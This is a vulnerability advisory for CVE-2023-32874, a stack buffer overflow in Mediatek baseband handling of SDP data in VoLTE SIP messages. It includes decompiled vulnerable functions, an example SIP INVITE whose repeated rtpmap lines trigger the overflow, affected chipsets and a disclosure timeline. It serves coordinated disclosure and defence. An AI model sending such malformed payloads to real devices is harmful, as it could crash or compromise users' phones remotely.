An attacker sending a malformed SIP message over VoLTE to a device with a Mediatek baseband can trigger the vulnerability described here.

The impact is stack buffer overflow in the baseband, triggered by malformed SDP data in VoLTE message such as SIP INVITE or MESSAGE request.

The vulnerability described in this advisory affected a wide range of Mediatek devices. The January 2024 issue of the Mediatek Security Bulletin contains this vulnerability as CVE-2023-32874.

Vulnerability Details

When a SIP message contains SDP data, first the cc_call_unpack_sdpmsg routine is invoked to unpack the message bytes into an internal representation (sdp_message_struct). Later the codec information is extracted from this internal representation by calling several codec extracting functions. This includes acct_extract_codec_info_from_sdp, ussd_extract_codec_info_from_sdp and sip_set_sip_info_ind_sdp_para. All three functions contain a stack buffer overflow vulnerability: the stack buffer that holds the generated codec info string is limited in length, but the codec info can have an arbitrary length. This same vulnerability is present in acct_extract_codec_info_from_sdp, ussd_extract_codec_info_from_sdp and sip_set_sip_info_ind_sdp_para, because these routines essentially implement the exact same functionality.

void sip_set_sip_info_ind_sdp_para(
	ims_dbg_sip_info_ind_struct *dbg_sip_info,
    sdp_message_struct *sdp_msg
) {
  size_t buf_len;
  undefined4 uVar1;
  sdp_media_struct *m;
  sdp_media_attr_struct *rtpmap_entry;
  char tmp [32];
  char buf [256];
  
  __wrap_memset(buf,0,0x100);
  m = sdp_msg->m;
  dbg_sip_info->session_as = (kal_uint16)(sdp_msg->b).value;
  // [0] SDP media descriptions are iterated
  for (; m != NULL; m = m->next) {
    if ((m->is_present != KAL_FALSE) && (m->port != 0)) {
      if (m->media == 0) {
        dbg_sip_info->audio_as = (kal_uint16)(m->b).value;
        dbg_sip_info->audio_port = (kal_uint16)m->port;
      }
      else if (m->media == 1) {
        dbg_sip_info->video_as = (kal_uint16)(m->b).value;
        dbg_sip_info->video_port = (kal_uint16)m->port;
      }
      // [1] rtpmap attributes are iterated for each media description
      for (rtpmap_entry = m->rtpmap_list; rtpmap_entry != NULL;
          rtpmap_entry = rtpmap_entry->p_next) {
        __wrap_memset(tmp,0,0x20);
        uVar1 = sip_get_codec_enum((int)(char)rtpmap_entry->encoding_name,
                                   rtpmap_entry->clock_rate);
        voip_snprintf(tmp,0x20,"%d;%d,",rtpmap_entry->pt,uVar1);
        // [2] the codec id and payload type is added to the stack buffer
        strcat(buf,tmp);
      }
    }
  }
  if (buf[0] != '\0') {
    buf_len = strlen(buf);
    tmp[buf_len + 0x1f] = '\0';
    voip_strncpy(dbg_sip_info->codec_info,buf,0x100);
  }
  return;
}
void acct_extract_codec_info_from_sdp(sdp_msg_t *sdp_msg,char *out)
{
  size_t sVar1;
  undefined4 uVar2;
  sdp_media_rtmap_t *rtpmap;
  sdp_msg_media_t *media;
  char line [32];
  char buf [256];
  
  __wrap_memset(buf,0,0x100);
  if (sdp_msg != (sdp_msg_t *)0x0) {
    // [0] SDP media descriptions are iterated
    for (media = sdp_msg->m_media_p; media != (sdp_msg_media_t *)0x0; media = media->next) {
      // [1] rtpmap attributes are iterated for each media description
      for (rtpmap = media->a_rtpmap_list; rtpmap != (sdp_media_rtmap_t *)0x0; rtpmap = rtpmap->next)
      {
        __wrap_memset(line,0,0x20);
        uVar2 = acct_get_icd_codec_enum
                          ((int)(char)rtpmap->encoding_type,*(int *)&rtpmap->clock_rate_idx);
        voip_snprintf(line,0x20,"%d;%d,",rtpmap->payload_type,uVar2);
        // [2] the codec id and payload type is added to the stack buffer
        strcat(buf,line);
      }
    }
    if (buf[0] != '\0') {
      buf[strlen(buf)] = '\0';
    }
  }
  voip_strncpy(out,buf,0x100);
  return;
}

The SDP content of a SIP Invite message can contain multiple media descriptions, each of which can contain 31 rtpmap attributes. The number of media descriptions is not limited. The vulnerable code iterates over the media descriptions [0] and rtpmap attributes [1], retrieves the codec enum value for each attribute and prints it into a temporary buffer. The content of the temporary buffer is concatenated to a 256 bytes long stack buffer using strcat, without any bounds checking.

Note that on some firmware versions, the acct_extract_codec_info_from_sdp and ussd_extract_codec_info_from_sdp function implementations call the sdp_merge_comma_separated_strings function to concatenate buffers instead of the vulnerable strcat. This function uses a heap buffer to hold the resulting string and correctly extends it whenever needed. However, sip_set_sip_info_ind_sdp_para remains vulnerable and is reached via the _sip_ua_dbg_sip_info_ind function, which is a call path that is reached for all SIP messages with an SDP body.

Example Payload

INVITE sip:192.168.101.3:50021;transport=tcp SIP/2.0
Content-Type: application/sdp
Content-Length: 2953
<snip>

v=0
o=rue 3259 3259 IN IP4 172.30.0.16
s=-
c=IN IP4 172.30.0.16
b=AS:41
b=RR:1537
b=RS:512
t=0 0
m=audio 49210 RTP/AVP 107 106 105 104 101 102
b=AS:41
b=RR:1537
b=RS:512
a=maxptime:240
a=curr:qos local none
a=curr:qos remote none
a=des:qos mandatory local sendrecv
a=des:qos optional remote sendrecv
a=rtpmap:107 AMR-WB/16000/1
a=fmtp:107 mode-change-capability=2;max-red=0
a=rtpmap:106 AMR-WB/16000/1
a=fmtp:106 octet-align=1;mode-change-capability=2;max-red=0
a=rtpmap:105 AMR/8000/1
a=fmtp:105 mode-change-capability=2;max-red=0
a=rtpmap:104 AMR/8000/1
a=fmtp:104 octet-align=1;mode-change-capability=2;max-red=0
a=rtpmap:101 telephone-event/16000
a=fmtp:101 0-15
a=rtpmap:102 telephone-event/8000
a=fmtp:102 0-15
a=sendrecv
a=rtcp:49211
a=ptime:20
m=audio 0 RTP/AVP 109
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
m=audio 1 RTP/AVP 110
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
m=audio 1 RTP/AVP 111
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000

Affected Devices

MT2735, MT6779, MT6781, MT6783, MT6785, MT6785T, MT6789, MT6813, MT6833, MT6833P, MT6835, MT6853, MT6853T, MT6855, MT6873, MT6875, MT6877, MT6877T, MT6878, MT6879, MT6880, MT6883, MT6885, MT6886, MT6889, MT6890, MT6891, MT6893, MT6895, MT6895T, MT6896, MT6897, MT6980, MT6980D, MT6983T, MT6983W, MT6983Z, MT6985, MT6985T, MT6989, MT6990

Timeline

  • 2023.07.28. Bug reported to Mediatek PSIRT
  • 2023.08.07. Mediatek confirms vulnerability
  • 2023.11.06. Mediatek confirms CVE
  • 2024.01.02. Mediatek releases security bulletin
  • 2025.06.26. Vulnerability publicly disclosed at Troopers ‘25
  • 2025.10.01. Advisory release